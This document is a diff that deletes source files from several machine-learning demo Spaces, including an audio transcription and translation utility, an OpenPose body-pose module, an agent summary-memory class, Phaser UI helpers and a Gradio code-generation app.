type RouteParams = { id: string; messageId: string }
|
5 |
-
type RouteId = '/conversation/[id]/message/[messageId]/vote';
|
6 |
-
|
7 |
-
export type EntryGenerator = () => Promise<Array<RouteParams>> | Array<RouteParams>;
|
8 |
-
export type RequestHandler = Kit.RequestHandler<RouteParams, RouteId>;
|
9 |
-
export type RequestEvent = Kit.RequestEvent<RouteParams, RouteId>;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AdWeeb/SuMmeet/utils.py
DELETED
@@ -1,98 +0,0 @@
|
|
1 |
-
# -*- coding: utf-8 -*-
|
2 |
-
"""
|
3 |
-
Created on Mon Mar 28 01:07:44 2022
|
4 |
-
|
5 |
-
@author: adeep
|
6 |
-
"""
|
7 |
-
import numpy as np
|
8 |
-
import pandas as pd
|
9 |
-
from sklearn.metrics import label_ranking_average_precision_score
|
10 |
-
import streamlit as st
|
11 |
-
import joblib
|
12 |
-
import os
|
13 |
-
from translate import Translator
|
14 |
-
from moviepy.editor import VideoFileClip
|
15 |
-
import speech_recognition as sr
|
16 |
-
from pydub import AudioSegment
|
17 |
-
from pydub.silence import split_on_silence
|
18 |
-
import transformers
|
19 |
-
from transformers import pipeline
|
20 |
-
import nltk
|
21 |
-
nltk.download('punkt')
|
22 |
-
nltk.download('averaged_perceptron_tagger')
|
23 |
-
import nltk
|
24 |
-
nltk.download('punkt')
|
25 |
-
nltk.download('averaged_perceptron_tagger')
|
26 |
-
from nltk.tokenize import sent_tokenize
|
27 |
-
import re
|
28 |
-
import stanfordnlp
|
29 |
-
def welcome():
|
30 |
-
return "Welcome All"
|
31 |
-
|
32 |
-
def get_large_audio_transcription(path):
|
33 |
-
r = sr.Recognizer()
|
34 |
-
sound = AudioSegment.from_wav(path)
|
35 |
-
chunks = split_on_silence(sound,
|
36 |
-
min_silence_len = 500,
|
37 |
-
silence_thresh = sound.dBFS-14,
|
38 |
-
keep_silence=500,
|
39 |
-
)
|
40 |
-
whole_text = ""
|
41 |
-
for i, audio_chunk in enumerate(chunks, start=1):
|
42 |
-
chunk_filename = os.path.join(f"chunk{i}.wav")
|
43 |
-
audio_chunk.export(chunk_filename, format="wav")
|
44 |
-
with sr.AudioFile(chunk_filename) as source:
|
45 |
-
audio_listened = r.record(source)
|
46 |
-
try:
|
47 |
-
text = r.recognize_google(audio_listened)
|
48 |
-
except sr.UnknownValueError as e:
|
49 |
-
print("Error:", str(e))
|
50 |
-
else:
|
51 |
-
text = f"{text.capitalize()}. "
|
52 |
-
whole_text += text
|
53 |
-
return whole_text
|
54 |
-
|
55 |
-
def get_translation(source, dest, text):
|
56 |
-
|
57 |
-
#src = "en"
|
58 |
-
#dst = "hi"
|
59 |
-
|
60 |
-
lang_dict = {
|
61 |
-
'Hindi': 'hi',
|
62 |
-
# 'English':'en',
|
63 |
-
'Malayalam': 'ml',
|
64 |
-
'Marathi': 'mr',
|
65 |
-
'Kannada':'kn',
|
66 |
-
'Telugu':'te',
|
67 |
-
'Tamil':'ta',
|
68 |
-
'Oriya':'or',
|
69 |
-
'Bengali':'bn',
|
70 |
-
'Gujarati':'gu',
|
71 |
-
'Urdu':'ur'
|
72 |
-
}
|
73 |
-
|
74 |
-
#src = lang_dict[source]
|
75 |
-
dst = lang_dict[dest]
|
76 |
-
|
77 |
-
#task_name = f"translation_{src}_to_{dst}"
|
78 |
-
#model_name = f"Helsinki-NLP/opus-mt-{src}-{dst}"
|
79 |
-
|
80 |
-
#translator = pipeline(task_name, model=model_name, tokenizer=model_name)
|
81 |
-
translator = Translator(from_lang = 'en', to_lang=dst)
|
82 |
-
a_list = nltk.tokenize.sent_tokenize(text)
|
83 |
-
trans = []
|
84 |
-
for i in a_list:
|
85 |
-
translation = translator.translate(i)
|
86 |
-
trans.append(translation)
|
87 |
-
|
88 |
-
return ' '.join(trans)
|
89 |
-
|
90 |
-
|
91 |
-
def truecasing_by_sentence_segmentation(input_text):
|
92 |
-
# split the text into sentences
|
93 |
-
sentences = sent_tokenize(input_text, language='english')
|
94 |
-
# capitalize the sentences
|
95 |
-
sentences_capitalized = [s.capitalize() for s in sentences]
|
96 |
-
# join the capitalized sentences
|
97 |
-
text_truecase = re.sub(" (?=[\.,'!?:;])", "", ' '.join(sentences_capitalized))
|
98 |
-
return text_truecase
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Adapter/CoAdapter/ldm/modules/extra_condition/openpose/body.py
DELETED
@@ -1,211 +0,0 @@
|
|
1 |
-
import cv2
|
2 |
-
import math
|
3 |
-
import matplotlib
|
4 |
-
import matplotlib.pyplot as plt
|
5 |
-
import numpy as np
|
6 |
-
import time
|
7 |
-
import torch
|
8 |
-
from scipy.ndimage.filters import gaussian_filter
|
9 |
-
from torchvision import transforms
|
10 |
-
|
11 |
-
from . import util
|
12 |
-
from .model import bodypose_model
|
13 |
-
|
14 |
-
|
15 |
-
class Body(object):
|
16 |
-
|
17 |
-
def __init__(self, model_path):
|
18 |
-
self.model = bodypose_model()
|
19 |
-
if torch.cuda.is_available():
|
20 |
-
self.model = self.model.cuda()
|
21 |
-
print('cuda')
|
22 |
-
model_dict = util.transfer(self.model, torch.load(model_path))
|
23 |
-
self.model.load_state_dict(model_dict)
|
24 |
-
self.model.eval()
|
25 |
-
|
26 |
-
def __call__(self, oriImg):
|
27 |
-
# scale_search = [0.5, 1.0, 1.5, 2.0]
|
28 |
-
scale_search = [0.5]
|
29 |
-
boxsize = 368
|
30 |
-
stride = 8
|
31 |
-
padValue = 128
|
32 |
-
thre1 = 0.1
|
33 |
-
thre2 = 0.05
|
34 |
-
multiplier = [x * boxsize / oriImg.shape[0] for x in scale_search]
|
35 |
-
heatmap_avg = np.zeros((oriImg.shape[0], oriImg.shape[1], 19))
|
36 |
-
paf_avg = np.zeros((oriImg.shape[0], oriImg.shape[1], 38))
|
37 |
-
|
38 |
-
for m in range(len(multiplier)):
|
39 |
-
scale = multiplier[m]
|
40 |
-
imageToTest = cv2.resize(oriImg, (0, 0), fx=scale, fy=scale, interpolation=cv2.INTER_CUBIC)
|
41 |
-
imageToTest_padded, pad = util.padRightDownCorner(imageToTest, stride, padValue)
|
42 |
-
im = np.transpose(np.float32(imageToTest_padded[:, :, :, np.newaxis]), (3, 2, 0, 1)) / 256 - 0.5
|
43 |
-
im = np.ascontiguousarray(im)
|
44 |
-
|
45 |
-
data = torch.from_numpy(im).float()
|
46 |
-
if torch.cuda.is_available():
|
47 |
-
data = data.cuda()
|
48 |
-
# data = data.permute([2, 0, 1]).unsqueeze(0).float()
|
49 |
-
with torch.no_grad():
|
50 |
-
Mconv7_stage6_L1, Mconv7_stage6_L2 = self.model(data)
|
51 |
-
Mconv7_stage6_L1 = Mconv7_stage6_L1.cpu().numpy()
|
52 |
-
Mconv7_stage6_L2 = Mconv7_stage6_L2.cpu().numpy()
|
53 |
-
|
54 |
-
# extract outputs, resize, and remove padding
|
55 |
-
# heatmap = np.transpose(np.squeeze(net.blobs[output_blobs.keys()[1]].data), (1, 2, 0)) # output 1 is heatmaps
|
56 |
-
heatmap = np.transpose(np.squeeze(Mconv7_stage6_L2), (1, 2, 0)) # output 1 is heatmaps
|
57 |
-
heatmap = cv2.resize(heatmap, (0, 0), fx=stride, fy=stride, interpolation=cv2.INTER_CUBIC)
|
58 |
-
heatmap = heatmap[:imageToTest_padded.shape[0] - pad[2], :imageToTest_padded.shape[1] - pad[3], :]
|
59 |
-
heatmap = cv2.resize(heatmap, (oriImg.shape[1], oriImg.shape[0]), interpolation=cv2.INTER_CUBIC)
|
60 |
-
|
61 |
-
# paf = np.transpose(np.squeeze(net.blobs[output_blobs.keys()[0]].data), (1, 2, 0)) # output 0 is PAFs
|
62 |
-
paf = np.transpose(np.squeeze(Mconv7_stage6_L1), (1, 2, 0)) # output 0 is PAFs
|
63 |
-
paf = cv2.resize(paf, (0, 0), fx=stride, fy=stride, interpolation=cv2.INTER_CUBIC)
|
64 |
-
paf = paf[:imageToTest_padded.shape[0] - pad[2], :imageToTest_padded.shape[1] - pad[3], :]
|
65 |
-
paf = cv2.resize(paf, (oriImg.shape[1], oriImg.shape[0]), interpolation=cv2.INTER_CUBIC)
|
66 |
-
|
67 |
-
heatmap_avg += heatmap_avg + heatmap / len(multiplier)
|
68 |
-
paf_avg += +paf / len(multiplier)
|
69 |
-
|
70 |
-
all_peaks = []
|
71 |
-
peak_counter = 0
|
72 |
-
|
73 |
-
for part in range(18):
|
74 |
-
map_ori = heatmap_avg[:, :, part]
|
75 |
-
one_heatmap = gaussian_filter(map_ori, sigma=3)
|
76 |
-
|
77 |
-
map_left = np.zeros(one_heatmap.shape)
|
78 |
-
map_left[1:, :] = one_heatmap[:-1, :]
|
79 |
-
map_right = np.zeros(one_heatmap.shape)
|
80 |
-
map_right[:-1, :] = one_heatmap[1:, :]
|
81 |
-
map_up = np.zeros(one_heatmap.shape)
|
82 |
-
map_up[:, 1:] = one_heatmap[:, :-1]
|
83 |
-
map_down = np.zeros(one_heatmap.shape)
|
84 |
-
map_down[:, :-1] = one_heatmap[:, 1:]
|
85 |
-
|
86 |
-
peaks_binary = np.logical_and.reduce((one_heatmap >= map_left, one_heatmap >= map_right,
|
87 |
-
one_heatmap >= map_up, one_heatmap >= map_down, one_heatmap > thre1))
|
88 |
-
peaks = list(zip(np.nonzero(peaks_binary)[1], np.nonzero(peaks_binary)[0])) # note reverse
|
89 |
-
peaks_with_score = [x + (map_ori[x[1], x[0]], ) for x in peaks]
|
90 |
-
peak_id = range(peak_counter, peak_counter + len(peaks))
|
91 |
-
peaks_with_score_and_id = [peaks_with_score[i] + (peak_id[i], ) for i in range(len(peak_id))]
|
92 |
-
|
93 |
-
all_peaks.append(peaks_with_score_and_id)
|
94 |
-
peak_counter += len(peaks)
|
95 |
-
|
96 |
-
# find connection in the specified sequence, center 29 is in the position 15
|
97 |
-
limbSeq = [[2, 3], [2, 6], [3, 4], [4, 5], [6, 7], [7, 8], [2, 9], [9, 10], \
|
98 |
-
[10, 11], [2, 12], [12, 13], [13, 14], [2, 1], [1, 15], [15, 17], \
|
99 |
-
[1, 16], [16, 18], [3, 17], [6, 18]]
|
100 |
-
# the middle joints heatmap correpondence
|
101 |
-
mapIdx = [[31, 32], [39, 40], [33, 34], [35, 36], [41, 42], [43, 44], [19, 20], [21, 22], \
|
102 |
-
[23, 24], [25, 26], [27, 28], [29, 30], [47, 48], [49, 50], [53, 54], [51, 52], \
|
103 |
-
[55, 56], [37, 38], [45, 46]]
|
104 |
-
|
105 |
-
connection_all = []
|
106 |
-
special_k = []
|
107 |
-
mid_num = 10
|
108 |
-
|
109 |
-
for k in range(len(mapIdx)):
|
110 |
-
score_mid = paf_avg[:, :, [x - 19 for x in mapIdx[k]]]
|
111 |
-
candA = all_peaks[limbSeq[k][0] - 1]
|
112 |
-
candB = all_peaks[limbSeq[k][1] - 1]
|
113 |
-
nA = len(candA)
|
114 |
-
nB = len(candB)
|
115 |
-
indexA, indexB = limbSeq[k]
|
116 |
-
if (nA != 0 and nB != 0):
|
117 |
-
connection_candidate = []
|
118 |
-
for i in range(nA):
|
119 |
-
for j in range(nB):
|
120 |
-
vec = np.subtract(candB[j][:2], candA[i][:2])
|
121 |
-
norm = math.sqrt(vec[0] * vec[0] + vec[1] * vec[1])
|
122 |
-
norm = max(0.001, norm)
|
123 |
-
vec = np.divide(vec, norm)
|
124 |
-
|
125 |
-
startend = list(zip(np.linspace(candA[i][0], candB[j][0], num=mid_num), \
|
126 |
-
np.linspace(candA[i][1], candB[j][1], num=mid_num)))
|
127 |
-
|
128 |
-
vec_x = np.array([score_mid[int(round(startend[I][1])), int(round(startend[I][0])), 0] \
|
129 |
-
for I in range(len(startend))])
|
130 |
-
vec_y = np.array([score_mid[int(round(startend[I][1])), int(round(startend[I][0])), 1] \
|
131 |
-
for I in range(len(startend))])
|
132 |
-
|
133 |
-
score_midpts = np.multiply(vec_x, vec[0]) + np.multiply(vec_y, vec[1])
|
134 |
-
score_with_dist_prior = sum(score_midpts) / len(score_midpts) + min(
|
135 |
-
0.5 * oriImg.shape[0] / norm - 1, 0)
|
136 |
-
criterion1 = len(np.nonzero(score_midpts > thre2)[0]) > 0.8 * len(score_midpts)
|
137 |
-
criterion2 = score_with_dist_prior > 0
|
138 |
-
if criterion1 and criterion2:
|
139 |
-
connection_candidate.append(
|
140 |
-
[i, j, score_with_dist_prior, score_with_dist_prior + candA[i][2] + candB[j][2]])
|
141 |
-
|
142 |
-
connection_candidate = sorted(connection_candidate, key=lambda x: x[2], reverse=True)
|
143 |
-
connection = np.zeros((0, 5))
|
144 |
-
for c in range(len(connection_candidate)):
|
145 |
-
i, j, s = connection_candidate[c][0:3]
|
146 |
-
if (i not in connection[:, 3] and j not in connection[:, 4]):
|
147 |
-
connection = np.vstack([connection, [candA[i][3], candB[j][3], s, i, j]])
|
148 |
-
if (len(connection) >= min(nA, nB)):
|
149 |
-
break
|
150 |
-
|
151 |
-
connection_all.append(connection)
|
152 |
-
else:
|
153 |
-
special_k.append(k)
|
154 |
-
connection_all.append([])
|
155 |
-
|
156 |
-
# last number in each row is the total parts number of that person
|
157 |
-
# the second last number in each row is the score of the overall configuration
|
158 |
-
subset = -1 * np.ones((0, 20))
|
159 |
-
candidate = np.array([item for sublist in all_peaks for item in sublist])
|
160 |
-
|
161 |
-
for k in range(len(mapIdx)):
|
162 |
-
if k not in special_k:
|
163 |
-
partAs = connection_all[k][:, 0]
|
164 |
-
partBs = connection_all[k][:, 1]
|
165 |
-
indexA, indexB = np.array(limbSeq[k]) - 1
|
166 |
-
|
167 |
-
for i in range(len(connection_all[k])): # = 1:size(temp,1)
|
168 |
-
found = 0
|
169 |
-
subset_idx = [-1, -1]
|
170 |
-
for j in range(len(subset)): # 1:size(subset,1):
|
171 |
-
if subset[j][indexA] == partAs[i] or subset[j][indexB] == partBs[i]:
|
172 |
-
subset_idx[found] = j
|
173 |
-
found += 1
|
174 |
-
|
175 |
-
if found == 1:
|
176 |
-
j = subset_idx[0]
|
177 |
-
if subset[j][indexB] != partBs[i]:
|
178 |
-
subset[j][indexB] = partBs[i]
|
179 |
-
subset[j][-1] += 1
|
180 |
-
subset[j][-2] += candidate[partBs[i].astype(int), 2] + connection_all[k][i][2]
|
181 |
-
elif found == 2: # if found 2 and disjoint, merge them
|
182 |
-
j1, j2 = subset_idx
|
183 |
-
membership = ((subset[j1] >= 0).astype(int) + (subset[j2] >= 0).astype(int))[:-2]
|
184 |
-
if len(np.nonzero(membership == 2)[0]) == 0: # merge
|
185 |
-
subset[j1][:-2] += (subset[j2][:-2] + 1)
|
186 |
-
subset[j1][-2:] += subset[j2][-2:]
|
187 |
-
subset[j1][-2] += connection_all[k][i][2]
|
188 |
-
subset = np.delete(subset, j2, 0)
|
189 |
-
else: # as like found == 1
|
190 |
-
subset[j1][indexB] = partBs[i]
|
191 |
-
subset[j1][-1] += 1
|
192 |
-
subset[j1][-2] += candidate[partBs[i].astype(int), 2] + connection_all[k][i][2]
|
193 |
-
|
194 |
-
# if find no partA in the subset, create a new subset
|
195 |
-
elif not found and k < 17:
|
196 |
-
row = -1 * np.ones(20)
|
197 |
-
row[indexA] = partAs[i]
|
198 |
-
row[indexB] = partBs[i]
|
199 |
-
row[-1] = 2
|
200 |
-
row[-2] = sum(candidate[connection_all[k][i, :2].astype(int), 2]) + connection_all[k][i][2]
|
201 |
-
subset = np.vstack([subset, row])
|
202 |
-
# delete some rows of subset which has few parts occur
|
203 |
-
deleteIdx = []
|
204 |
-
for i in range(len(subset)):
|
205 |
-
if subset[i][-1] < 4 or subset[i][-2] / subset[i][-1] < 0.4:
|
206 |
-
deleteIdx.append(i)
|
207 |
-
subset = np.delete(subset, deleteIdx, axis=0)
|
208 |
-
|
209 |
-
# subset: n*20 array, 0-17 is the index in candidate, 18 is the total score, 19 is the total parts
|
210 |
-
# candidate: x, y, score, id
|
211 |
-
return candidate, subset
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AgentVerse/agentVerse/agentverse/memory/summary.py
DELETED
@@ -1,87 +0,0 @@
|
|
1 |
-
import re
|
2 |
-
from string import Template
|
3 |
-
from typing import List
|
4 |
-
|
5 |
-
from pydantic import Field, validator
|
6 |
-
|
7 |
-
from agentverse.initialization import load_llm
|
8 |
-
from agentverse.llms.base import BaseLLM
|
9 |
-
from agentverse.message import Message
|
10 |
-
|
11 |
-
from . import memory_registry
|
12 |
-
from .base import BaseMemory
|
13 |
-
|
14 |
-
|
15 |
-
@memory_registry.register("summary")
|
16 |
-
class SummaryMemory(BaseMemory):
|
17 |
-
llm: BaseLLM
|
18 |
-
messages: List[Message] = Field(default=[])
|
19 |
-
buffer: str = Field(default="")
|
20 |
-
recursive: bool = Field(default=False)
|
21 |
-
prompt_template: str = Field(default="")
|
22 |
-
|
23 |
-
def __init__(self, *args, **kwargs):
|
24 |
-
llm_config = kwargs.pop("llm")
|
25 |
-
llm = load_llm(llm_config)
|
26 |
-
super().__init__(llm=llm, *args, **kwargs)
|
27 |
-
|
28 |
-
@validator("prompt_template")
|
29 |
-
def check_prompt_template(cls, v, values):
|
30 |
-
"""Check if the prompt template is valid.
|
31 |
-
When recursive is True, the prompt template should contain the following arguments:
|
32 |
-
- $summary: The summary so far.
|
33 |
-
- $new_lines: The new lines to be added to the summary.
|
34 |
-
|
35 |
-
Otherwise, the prompt template should only contain $new_lines
|
36 |
-
"""
|
37 |
-
recursive = values.get("recursive")
|
38 |
-
summary_pat = re.compile(r"\$\{?summary\}?")
|
39 |
-
new_lines_pat = re.compile(r"\$\{?new_lines\}?")
|
40 |
-
if recursive:
|
41 |
-
if not summary_pat.search(v):
|
42 |
-
raise ValueError(
|
43 |
-
"When recursive is True, the prompt template should contain $summary."
|
44 |
-
)
|
45 |
-
if not new_lines_pat.search(v):
|
46 |
-
raise ValueError(
|
47 |
-
"When recursive is True, the prompt template should contain $new_lines."
|
48 |
-
)
|
49 |
-
else:
|
50 |
-
if summary_pat.search(v):
|
51 |
-
raise ValueError(
|
52 |
-
"When recursive is False, the prompt template should not contain $summary."
|
53 |
-
)
|
54 |
-
if not new_lines_pat.search(v):
|
55 |
-
raise ValueError(
|
56 |
-
"When recursive is False, the prompt template should contain $new_lines."
|
57 |
-
)
|
58 |
-
return v
|
59 |
-
|
60 |
-
def add_message(self, messages: List[Message]) -> None:
|
61 |
-
new_lines = "\n".join([message.content for message in messages])
|
62 |
-
self.update_buffer(new_lines)
|
63 |
-
|
64 |
-
def update_buffer(self, new_message: str):
|
65 |
-
prompt = self._fill_in_prompt_template(new_message)
|
66 |
-
response = self.llm.generate_response(prompt)
|
67 |
-
if self.recursive:
|
68 |
-
self.buffer = response.content
|
69 |
-
else:
|
70 |
-
self.buffer = "\n" + response.content
|
71 |
-
|
72 |
-
def _fill_in_prompt_template(self, new_lines: str) -> str:
|
73 |
-
"""Fill in the prompt template with the given arguments.
|
74 |
-
|
75 |
-
SummaryMemory supports the following arguments:
|
76 |
-
- summary: The summary so far.
|
77 |
-
- new_lines: The new lines to be added to the summary.
|
78 |
-
"""
|
79 |
-
input_arguments = {"summary": self.buffer, "new_lines": new_lines}
|
80 |
-
return Template(self.prompt_template).safe_substitute(input_arguments)
|
81 |
-
|
82 |
-
def to_string(self, *args, **kwargs) -> str:
|
83 |
-
return self.buffer
|
84 |
-
|
85 |
-
def reset(self) -> None:
|
86 |
-
self.messages = []
|
87 |
-
self.buffer = ""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/spinner/dots/Dots.d.ts
DELETED
@@ -1,2 +0,0 @@
|
|
1 |
-
import Base from '../base/Base';
|
2 |
-
export default class Dots extends Base { }
|
|
|
|
|
|
spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/fixwidthbuttons/RemoveChildMethods.js
DELETED
@@ -1,50 +0,0 @@
|
|
1 |
-
import FixWidthSizer from '../fixwidthsizer/FixWidthSizer.js';
|
2 |
-
import IsArray from '../../../plugins/utils/object/IsArray.js';
|
3 |
-
|
4 |
-
const SizerRmove = FixWidthSizer.prototype.remove;
|
5 |
-
const SizerClear = FixWidthSizer.prototype.clear;
|
6 |
-
|
7 |
-
var Remove = function (gameObject, destroyChild) {
|
8 |
-
var gameObject = this.getButton(gameObject);
|
9 |
-
if (!gameObject) {
|
10 |
-
return this;
|
11 |
-
}
|
12 |
-
|
13 |
-
this.buttonGroup.remove(gameObject);
|
14 |
-
SizerRmove.call(this, gameObject, destroyChild);
|
15 |
-
return this;
|
16 |
-
};
|
17 |
-
|
18 |
-
export default {
|
19 |
-
remove(gameObject, destroyChild) {
|
20 |
-
if (IsArray(gameObject)) {
|
21 |
-
var gameObjects = gameObject;
|
22 |
-
for (var i = 0, cnt = gameObjects.length; i < cnt; i++) {
|
23 |
-
Remove.call(this, gameObjects[i], destroyChild);
|
24 |
-
}
|
25 |
-
} else {
|
26 |
-
Remove.call(this, gameObject, destroyChild);
|
27 |
-
}
|
28 |
-
return this;
|
29 |
-
},
|
30 |
-
|
31 |
-
clear(destroyChild) {
|
32 |
-
var buttons = this.buttonGroup.buttons;
|
33 |
-
buttons.length = 0;
|
34 |
-
SizerClear.call(this, destroyChild);
|
35 |
-
return this;
|
36 |
-
},
|
37 |
-
|
38 |
-
removeButton(gameObject, destroyChild) {
|
39 |
-
this.remove(gameObject, destroyChild);
|
40 |
-
return this;
|
41 |
-
},
|
42 |
-
|
43 |
-
clearButtons(destroyChild) {
|
44 |
-
var buttons = this.buttonGroup.buttons;
|
45 |
-
for (var i = buttons.length - 1; i >= 0; i--) {
|
46 |
-
Remove.call(this, buttons[i], destroyChild);
|
47 |
-
}
|
48 |
-
return this;
|
49 |
-
}
|
50 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/overlapsizer/RemoveChildMethods.js
DELETED
@@ -1,46 +0,0 @@
|
|
1 |
-
import RemoveChild from '../basesizer/utils/RemoveChild.js';
|
2 |
-
import ClearChildren from '../basesizer/utils/ClearChildren.js';
|
3 |
-
|
4 |
-
export default {
|
5 |
-
remove(gameObject, destroyChild) {
|
6 |
-
var key;
|
7 |
-
if (typeof (gameObject) === 'string') {
|
8 |
-
key = gameObject;
|
9 |
-
gameObject = this.sizerChildren[key];
|
10 |
-
if (!gameObject) {
|
11 |
-
return this;
|
12 |
-
}
|
13 |
-
} else if (this.getParentSizer(gameObject) !== this) {
|
14 |
-
return this;
|
15 |
-
} else {
|
16 |
-
key = this.childToKey(gameObject);
|
17 |
-
}
|
18 |
-
|
19 |
-
if (key) {
|
20 |
-
delete this.sizerChildren[key];
|
21 |
-
if (this.childrenMap.hasOwnProperty(key)) {
|
22 |
-
delete this.childrenMap[key];
|
23 |
-
}
|
24 |
-
}
|
25 |
-
RemoveChild.call(this, gameObject, destroyChild);
|
26 |
-
return this;
|
27 |
-
},
|
28 |
-
|
29 |
-
removeAll(destroyChild) {
|
30 |
-
for (var key in this.sizerChildren) {
|
31 |
-
this.remove(key, destroyChild);
|
32 |
-
}
|
33 |
-
return this;
|
34 |
-
},
|
35 |
-
|
36 |
-
clear(destroyChild) {
|
37 |
-
for (var key in this.sizerChildren) {
|
38 |
-
delete this.sizerChildren[key];
|
39 |
-
if (this.childrenMap.hasOwnProperty(key)) {
|
40 |
-
delete this.childrenMap[key];
|
41 |
-
}
|
42 |
-
}
|
43 |
-
ClearChildren.call(this, destroyChild);
|
44 |
-
return this;
|
45 |
-
}
|
46 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AhmedSSoliman/MarianCG-CoNaLa/app.py
DELETED
@@ -1,30 +0,0 @@
|
|
1 |
-
import torch
|
2 |
-
import transformers
|
3 |
-
from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
|
4 |
-
import gradio as gr
|
5 |
-
|
6 |
-
tokenizer = AutoTokenizer.from_pretrained("AhmedSSoliman/MarianCG-CoNaLa")
|
7 |
-
model = AutoModelForSeq2SeqLM.from_pretrained("AhmedSSoliman/MarianCG-CoNaLa")
|
8 |
-
|
9 |
-
def generate_code(NL):
|
10 |
-
inputs = tokenizer(NL, padding="max_length", truncation=True, max_length=512, return_tensors="pt")
|
11 |
-
input_ids = inputs.input_ids
|
12 |
-
attention_mask = inputs.attention_mask
|
13 |
-
outputs = model.generate(input_ids, attention_mask=attention_mask)
|
14 |
-
|
15 |
-
output_code = tokenizer.decode(outputs[0], skip_special_tokens=True)
|
16 |
-
return output_code
|
17 |
-
|
18 |
-
iface = gr.Interface(fn=generate_code, inputs="text", outputs="text",
|
19 |
-
examples=[["create array containing the maximum value of respective elements of array `[2, 3, 4]` and array `[1, 5, 2]"],
|
20 |
-
["check if all elements in list `mylist` are identical"],
|
21 |
-
["enable debug mode on flask application `app`"],
|
22 |
-
["getting the length of `my_tuple`"],
|
23 |
-
['find all files in directory "/mydir" with extension ".txt"']],
|
24 |
-
title="MarianCG: A Code Generation Transformer Model Inspired by Machine Translation",
|
25 |
-
description="This is a code generation model which can generate code from the natural language description")
|
26 |
-
iface.launch()
|
27 |
-
#iface.launch(share=True)
|
28 |
-
|
29 |
-
#output_text = gr.outputs.Textbox()
|
30 |
-
#gr.Interface(generate_code,"textbox", output_text, title="MarianCG model for Code Generation", description="MarianCG model for Code Generation").launch()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Ainterface/compare-gpt-models/README.md
DELETED
@@ -1,22 +0,0 @@
|
|
1 |
-
---
|
2 |
-
title: Compare Gpt Models
|
3 |
-
emoji: 🐢
|
4 |
-
colorFrom: gray
|
5 |
-
colorTo: red
|
6 |
-
sdk: streamlit
|
7 |
-
sdk_version: 1.17.0
|
8 |
-
app_file: app.py
|
9 |
-
pinned: false
|
10 |
-
license: mit
|
11 |
-
---
